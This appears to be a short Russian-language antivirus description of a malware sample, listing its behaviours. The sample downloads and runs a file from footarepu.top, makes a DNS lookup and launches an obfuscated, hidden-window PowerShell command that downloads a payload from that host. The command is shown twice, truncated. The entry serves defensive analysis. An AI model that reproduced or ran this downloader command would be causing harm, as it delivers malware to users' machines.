Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://footarepu.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^O^wEr^s^H^ELl^.^exE^ ^-^Exe^cU^TIONPOlIcY BYPA^Ss -nO^pRoFiLe -^WIN^D^ow^ST^yLE h^ID^dE^N (nEw-^o^Bj^Ec^t^ SYS^Tem^.NEt.we^BcLi^eN^t)^.DowNlOADFi^lE('http://footarepu.top/r...
Сетевая активность
UDP
- DNS ASK fo###repu.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^O^wEr^s^H^ELl^.^exE^ ^-^Exe^cU^TIONPOlIcY BYPA^Ss -nO^pRoFiLe -^WIN^D^ow^ST^yLE h^ID^dE^N (nEw-^o^Bj^Ec^t^ SYS^Tem^.NEt.we^BcLi^eN^t)^.DowNlOADFi^lE('http://footarepu.top/r...' (со скрытым окном)
